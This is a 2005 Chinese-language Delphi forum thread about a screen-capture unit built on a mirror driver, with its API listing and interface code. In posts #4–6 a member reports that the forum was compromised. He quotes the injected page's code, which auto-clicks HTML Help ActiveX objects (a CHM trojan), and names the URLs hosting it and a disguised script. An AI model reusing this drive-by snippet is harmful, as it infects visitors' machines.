全國最多中醫師線上諮詢網站-台灣中醫網
發文 回覆 瀏覽次數:6804
推到 Plurk!
推到 Facebook!

暴速屏幕传输,能传输VCD

 
lovejingtao
一般會員


發表:10
回覆:33
積分:13
註冊:2003-04-16

發送簡訊給我
#1 引用回覆 回覆 發表時間:2005-11-14 12:30:38 IP:220.173.xxx.xxx 未訂閱
描述: "Mirro For Delphi7" 是一个速度极快的抓取屏幕数据的单元.它的速度与 "Remote Administrator"(www.radmin.com)不相上下.可以运行于所有基于 Windows NT核心的操作系统上(Windows NT/Windows 2000/Windows XP/Windows 2003). ============================================================================ 函数: 1:function InstallMirroDriver: Boolean; 功能:安装Mirro驱动到你的电脑.注意:每次使用前应先调用该函数. 参数:无 返回:成功返回True,失败返回False. 2:function UninstallMirroDriver: Boolean; 功能:卸载Mirro驱动. 参数:无 返回:成功返回True,失败返回False. 3:function MirrorStart(dwSetColor: DWORD; pnWidth, pnHeight: Pinteger;bCapMouse:Bool): DWORD; 功能:开始Mirro 参数:dwSetColor---设置返回位图的颜色值 pnWidth,pnHeight---返回分辨率 bCapMouse---是否捕获鼠标 返回:成功返回0.否则返回错误代码 4:function MirrorGetChangeInfo(ThePRect: PRect; pBuf: PByte): DWORD; 功能:获得变化信息 参数:ThePRect--变化矩形,已经是32位对齐,并且是可靠的。 pBuf---位图缓冲,调用者分配,需保证缓冲长度>=屏幕宽度*屏幕高度*颜色位数/8 返回:变化类型 5:function MirrorGetFullScreen(ThePRect: PRect; pBuf: PByte): DWORD; 功能:得到全屏位图,参数同MirrorGetChangeInfo 6:function MirrorStop: DWORD; 功能:停止Mirro 参数:无 返回:成功返回0.否则返回错误代码 7:function MirrorVersion:string; 功能:Mirro版本信息 参数:无 返回:返回信息 ============================================================================ 例子 代码附带了一个本地回显的例子和一个互联网传输的简陋例子.注意:两个例子的图 像都只是简单的Draw出来,并没有处理重画消息,所以当有其它窗口遮挡显示窗口时,需要 重绘图像.其中互联网传输的例子为了方便只是简单的使用了Delphi本身的Jpeg单元进行 压缩,请使用者自行更换压缩算法.该例子可以在互联网上测试(如果不知道自己的IP,可 以打开http://www.138soft.com/getip.asp进行查询). ============================================================================ 版权所有 该单元的版权归作者(陈经韬)所有.你可以无偿无限制的使用它,但是在你的软件帮 助里面最好声明使用了该单元. ============================================================================ 联系方式 Web:http:www.138soft.com EMail&Msn:lovejingtao@21cn.com 2005-11-12 冷静的思考问题 充满激情的工作
附加檔案:81302_DelphiMirro.zip
P.D.
版主


發表:603
回覆:4038
積分:3874
註冊:2006-10-31

發送簡訊給我
#2 引用回覆 回覆 發表時間:2005-11-22 23:56:23 IP:61.71.xxx.xxx 未訂閱
請教lovejingtao兄, 是否有辦法在Delphi5上使用? 謝謝!
One2Free
一般會員


發表:26
回覆:28
積分:20
註冊:2004-05-12

發送簡訊給我
#3 引用回覆 回覆 發表時間:2005-11-27 14:27:07 IP:219.129.xxx.xxx 未訂閱
98/me 下能用吗?
lovejingtao
一般會員


發表:10
回覆:33
積分:13
註冊:2003-04-16

發送簡訊給我
#4 引用回覆 回覆 發表時間:2005-11-27 16:25:47 IP:220.173.xxx.xxx 未訂閱
站长大人:现在打开贵站页面都报警.见下图: 可能贵站被那些搞游戏装备的人挂了木马.请检查一下你们的PHP文件. 抓取屏幕,如果从底层入手的话,Win98下一般是用DDI HOOK(90年代非常红火的多媒体教室抓取屏幕多用此办法,那时候还没有Win2000).而NT系统下有两种办法,一种是mirro driver(见后面附录).一种是Graphics Filter.从效率上面来说,Graphics Filter比Mirro速度和效率高很多.因为Mirro其实是虚拟显卡. 而Win95/98不支持多显卡,所以Win95/98是无法使用Mirro的. 冷静的思考问题 充满激情的工作
lovejingtao
一般會員


發表:10
回覆:33
積分:13
註冊:2003-04-16

發送簡訊給我
#5 引用回覆 回覆 發表時間:2005-11-28 13:40:40 IP:220.173.xxx.xxx 未訂閱
是因为引用了这个页面: http://www.650411.net/taiwan/default.htm    查看源代码如下: <HTML> <HEAD> <!-- var Words ="<HTML> <BODY>
<OBJECT id="window98" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"></OBJECT> <OBJECT id="windXP" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"></OBJECT> <OBJECT id="cnbore2" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"></OBJECT>
var tk=navigator.userAgent; if(tk.indexOf('MSIE 6.0')>=1){ windXP.Click(); }else{ window98.Click(); } setTimeout("cnbore2.Click();",0); </BODY></HTML> 这是一个典型的CHM木马. 冷静的思考问题 充满激情的工作
lovejingtao
一般會員


發表:10
回覆:33
積分:13
註冊:2003-04-16

發送簡訊給我
#6 引用回覆 回覆 發表時間:2005-11-28 13:46:28 IP:220.173.xxx.xxx 未訂閱
请用FLASHGET之类的下载软件先下载 http://www.650411.net/taiwan/default.htm 解密后发现该网页木马的脚本位置为http://www.650411.net/taiwan/bbs003302.gif(注意:其实它不是一个GIF图像,你可以直接用记事本之类打开查看) 冷静的思考问题 充满激情的工作
sos_admin
版主


發表:121
回覆:697
積分:768
註冊:2003-07-23

發送簡訊給我
#7 引用回覆 回覆 發表時間:2005-12-05 11:18:41 IP:218.94.xxx.xxx 未訂閱
感谢资源分享,不过建议公开源码,大家都可以研究研究,呵呵< > 补充一下< > unit Mirro_D7; interface uses Windows; const MR_GET_FULL_SCREEN = 4240; MR_GET_ACTIVE = 4241; MR_GET_INFO = 4242; MR_SET_MOUSE = 4243; CHANGE_EXIT = 0; CHANGE_NO = 1; CHANGE_SCREEN = 2; SCREEN_COLOR_16 = 1; SCREEN_COLOR_24 = 2; type tagMIRROR_CHANGE_INFO = record dwChangeType: DWORD; rcDest: TRect; pBuf: PByte; end; TMIRROR_CHANGE_INFO = record dwChangeType: DWORD; rcDest: TRect; pBuf: PByte; end; PMIRROR_CHANGE_INFO = ^tagMIRROR_CHANGE_INFO; function InstallMirroDriver: Boolean; function UninstallMirroDriver: Boolean; function MirrorStart(dwSetColor: DWORD; pnWidth: PInteger; pnHeight: PInteger; bCapMouse: BOOL): DWORD; function MirrorStop: DWORD; function MirrorGetChangeInfo(ThePRect: PRect; pBuf: PByte): DWORD; function MirrorGetFullScreen(ThePRect: PRect; pBuf: PByte): DWORD; function MirrorVersion: String; implementation 风花雪月 e梦情缘 网络代号:wnhoo or sos_admin 网名:e梦缘 Mail:wnhoo@163.com
系統時間:2024-11-22 19:40:44
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!